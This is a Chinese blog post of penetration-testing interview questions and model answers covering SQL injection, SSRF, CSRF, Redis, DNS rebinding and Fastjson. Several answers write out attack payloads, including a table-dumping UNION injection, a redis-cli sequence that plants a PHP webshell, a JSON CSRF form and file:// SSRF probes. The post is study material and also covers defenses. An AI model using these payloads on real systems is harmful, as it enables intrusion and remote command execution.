当前位置: 首页 > news >正文

2025年渗透测试面试题总结-匿名[校招]渗透测试工程师(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

匿名[校招]渗透测试工程师 

1. 自我介绍

2. 印象深刻的一次渗透

3. 渗透测试流程

4. SQL注入原理及Payload(爆表名)

5. SQL注入空格绕过方法

6. SQL注入防御及预处理局限

7. 同源策略(Same-Origin Policy)

8. a.baidu.com 与b.baidu.com 是否同源?

9. SSRF原理及利用

10. Redis攻击Payload(手写)

11. CSRF原理及防御

12. 仅解析JSON时的CSRF利用

13. SameSite属性

14. DNS Rebinding攻击

15. Fastjson反序列化及修复

16. 子域名枚举工具及原理

17. Java学习程度

匿名[校招]渗透测试工程师 

1. 自我介绍 
2. 印象深刻的一次渗透 
3. 渗透测试的流程
4. SQL注入原理,及常用payload(手写-爆表名) 
5. SQL注入空格不能使用如何绕过 
6. SQL注入防御,延申预处理不能预防哪些注入 
7. 同源策略 
8. a.baidu.com和b.baidu.com是否同源 
9. SSRF原理,利用 
10. 攻击redis的方式(手写payload) 
11. CSRF的原理及防御 
12. 一种特殊的CSRF场景:后端只解析json格式的时候如何利用CSRF(非更改Content-Type)
13. SameSite 
14. DNS Rebinding 
15. Fastjson反序列化及如何修复 
16. 子域名枚举用过那些工具,原理是什么,如果出现了任意子域名都返回200是什么原因? 
17. Java学到哪种程度了?

1. 自我介绍

我是专注网络安全领域的技术研究者,研究方向涵盖渗透测试、漏洞攻防、红队技术链及企业安全体系建设。具备APT对抗、内网渗透、武器化工具开发等实战经验,熟悉Java/Python开发及主流安全工具链(如Cobalt Strike、Metasploit)。近期参与多个省级护网行动,主导金融系统红队演练并完成0day漏洞武器化利用。


2. 印象深刻的一次渗透

案例背景:针对某大型企业OA系统的渗透测试,目标系统表面防护严密(WAF+双因子认证)。
突破过程

  1. 信息泄露:通过Git历史回滚发现测试环境源码,解析硬编码的Redis密码。
  2. 横向移动:利用Redis未授权访问写入SSH公钥,获取跳板机权限。
  3. 权限提升:在跳板机发现运维人员的Jenkins凭据(明文存储),通过Jenkins管道执行命令拿下Docker宿主机。
  4. 域渗透:从宿主机内存提取域账号Hash,利用Kerberoasting攻击获取域管权限。
    技术亮点
  • 绕过双因子认证:通过Cookie复用劫持已登录会话。
  • 隐蔽通信:使用DNS隧道传递敏感数据,规避流量检测。

3. 渗透测试流程

  1. 信息收集
    • OSINT:域名/IP资产测绘(Fofa/Shodan)、员工信息(领英/脉脉)。
    • 技术栈识别:Wappalyzer扫描、HTTP头分析。
  2. 漏洞探测
    • 自动化扫描:Nessus/AWVS定位高风险点(如SQL注入、SSRF)。
    • 手工验证:逻辑漏洞(越权、验证码绕过)、非常规路径测试。
  3. 利用与提权
    • 初始入口:通过漏洞获取WebShell或系统权限。
    • 横向移动:密码喷射、Pass-the-Hash、服务漏洞利用(如SMB/Redis)。
  4. 权限维持
    • 后门植入:计划任务、启动项、隐藏账户。
    • 数据窃取:数据库脱库、配置文件抓取。
  5. 报告输出
    • 风险评级:CVSS评分、影响范围量化。
    • 修复建议:代码层修复方案(如参数化查询)、配置加固指南。

4. SQL注入原理及Payload(爆表名)

原理:用户输入未过滤直接拼接到SQL语句,导致攻击者可执行恶意SQL代码。
爆表名Payload

sql' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()-- 

关键点

  • information_schema.tables :MySQL元数据表,存储表信息。
  • group_concat():合并多行结果,避免逐行回显。
  • database():获取当前数据库名。

5. SQL注入空格绕过方法

  1. 注释替代/**/(如SELECT/**/1)。
  2. 特殊符号
    • %09(Tab)、%0a(换行)、%0c(换页)。
    • ()包裹参数:UNION(SELECT 1,2)
  3. 编码绕过:URL编码(%20)、Unicode编码(%u0020)。
  4. 数据库特性
    • MySQL:+号连接(SELECT+1)。
    • Oracle:||拼接符替代空格。

6. SQL注入防御及预处理局限

防御方案

  • 参数化查询(PreparedStatement):分离SQL逻辑与数据。
  • 输入过滤:正则白名单(如仅允许字母数字)。
  • 最小权限:数据库账户禁用FILEEXECUTE权限。
    预处理局限
  1. 动态表名/列名:若表名由用户输入拼接,预处理无法生效。
  2. 复杂查询ORDER BY后接参数时,预处理可能失效。
  3. 存储过程:若存储过程内部拼接SQL,仍存在注入风险。

7. 同源策略(Same-Origin Policy)

定义:浏览器限制脚本只能访问与当前页面同源的资源。同源条件:协议、域名、端口完全一致
限制范围

  • Cookie/LocalStorage访问。
  • AJAX请求响应读取。
  • DOM操作(如iframe跨域通信)。

8. a.baidu.com 与b.baidu.com 是否同源?

。同源策略要求主机名(host)完全一致,子域名不同视为不同源。但可通过以下方式跨域:

  • document.domain = "baidu.com" (需双方显式设置)。
  • CORS头(如Access-Control-Allow-Origin: *.baidu.com )。

9. SSRF原理及利用

原理:服务端未校验用户提供的URL,攻击者可访问内网资源或本地服务。
利用场景

  1. 内网探测:扫描192.168.0.0/24的存活主机。
  2. 协议利用
    • file:///etc/passwd读取本地文件。
    • dict://<ip>:6379/info探测Redis服务。
  3. 攻击中间件:利用HTTP头注入攻击FastCGI、PHP-FPM。

10. Redis攻击Payload(手写)

目标:通过未授权访问写入WebShell。

bashredis-cli -h 目标IP config set dir /var/www/html # 设置Web目录 config set dbfilename shell.php set x "<?php system($_GET['cmd']);?>" save 

验证:访问http://目标IP/shell.php?cmd=id ,执行系统命令。


11. CSRF原理及防御

原理:诱导用户浏览器携带身份凭证(如Cookie)发起恶意请求。
防御方案

  1. Token验证:请求中携带随机Token,服务端校验。
  2. SameSite Cookie:设置SameSite=Lax/Strict限制跨域携带。
  3. 验证Referer:检查请求来源域名是否合法。

12. 仅解析JSON时的CSRF利用

绕过方法

  1. Form表单+JS提交
    html<form action="http://target/api" method="POST" enctype="text/plain"> <input name='{"a":"1", "b":"' value='2"}' type="hidden"> </form> <script>document.forms[0].submit()</script> 
    原理:构造enctype="text/plain",拼接JSON格式数据。
  2. Flash跨域:利用Flash的跨域请求能力发送JSON(需旧版浏览器)。

13. SameSite属性

作用:控制Cookie是否随跨站请求发送,三种模式:

  • Strict:仅同站请求发送。
  • Lax:允许导航跳转(如链接点击)携带Cookie。
  • None:允许跨站携带,但需同时设置Secure(HTTPS)。

14. DNS Rebinding攻击

原理:利用DNS TTL过期重新绑定域名到内网IP,绕过同源策略。
攻击步骤

  1. 用户访问evil.com ,解析到外网IP。
  2. TTL过期后,evil.com 重新解析到192.168.1.1(内网)。
  3. 浏览器继续与“同域名”的内网IP通信,绕过限制。

15. Fastjson反序列化及修复

漏洞根源autotype功能允许加载任意类,导致RCE。
利用方式:构造恶意JSON触发JNDI注入(如@type指定com.sun.rowset.JdbcRowSetImpl )。
修复方案

  1. 升级至1.2.68+版本,开启safeMode
  2. 关闭autotype功能:ParserConfig.getGlobalInstance().setSafeMode(true);
  3. 使用白名单机制限制反序列化类。

16. 子域名枚举工具及原理

工具与原理

  1. subfinder:聚合证书透明日志(CT Log)、DNS数据源(如Virustotal)。
  2. Sublist3r:基于搜索引擎(Google/Baidu)的语法搜索(如site:*.baidu.com )。
  3. 爆破工具:dnsgen+massdns,利用字典暴力枚举。
    泛解析问题:若所有子域名返回200,需对比响应内容差异(如标题、正文长度)。

17. Java学习程度

技术栈

  • 语言基础:熟悉多线程、反射、JNI、ASM字节码操作。
  • 安全方向:
    • 漏洞分析:反序列化、内存马(Tomcat Filter型)、JNDI注入。
    • 安全编码:防御SQL注入、XSS的代码规范。
  • 框架研究:Spring Security机制、Shiro权限绕过高危场景分析。
    项目经验:开发Java Agent型HIDS、基于ASM的RASP原型系统。
http://www.xdnf.cn/news/745453.html

相关文章:

  • C++ 17 正则表达式
  • Java并发编程实战 Day 1:Java并发编程基础与线程模型
  • MySQL锁机制
  • PDFGear——完全免费且功能强大的PDF处理软件
  • 【Doris基础】Doris中的Replica详解:Replica原理、架构
  • Protos-SIP:经典 SIP 协议模糊测试工具!全参数详细教程!Kali Linux教程!
  • 【多线程初阶】死锁的产生 如何避免死锁
  • Java复习Day24
  • 202403-02-相似度计算 csp认证
  • 从0开始学vue:实现一个简单页面
  • 玩客云 OEC/OECT 笔记
  • 在Ubuntu20.04上安装ROS Noetic
  • python学习打卡day40
  • 基于空天地一体化网络的通信系统matlab性能分析
  • vBulletin未认证API方法调用漏洞(CVE-2025-48827)
  • 算法:滑动窗口
  • 将 node.js 项目作为后台进程持续运行
  • 设计模式——原型设计模式(创建型)
  • C++学习-入门到精通【11】输入/输出流的深入剖析
  • Oracle DG库控制文件IO错误导致宕机的应急处理
  • 分析XSSstrike源码
  • JS分支和循环
  • 基于开源AI大模型AI智能名片S2B2C商城小程序源码的销售环节数字化实现路径研究
  • Java 项目架构设计:模块化、分层架构的实战经验
  • 【Linux】进程地址空间揭秘(初步认识)
  • 「Java教案」数据类型、变量与常量
  • python中常用的内置属性built-in attributes
  • 某乎x-zse-96 破解(补环境版本)
  • 2025.5.29 学习日记 docker概念以及基本指令
  • AE 脚本表达式错误 Default ColorSelectionwhile (true){ break;} }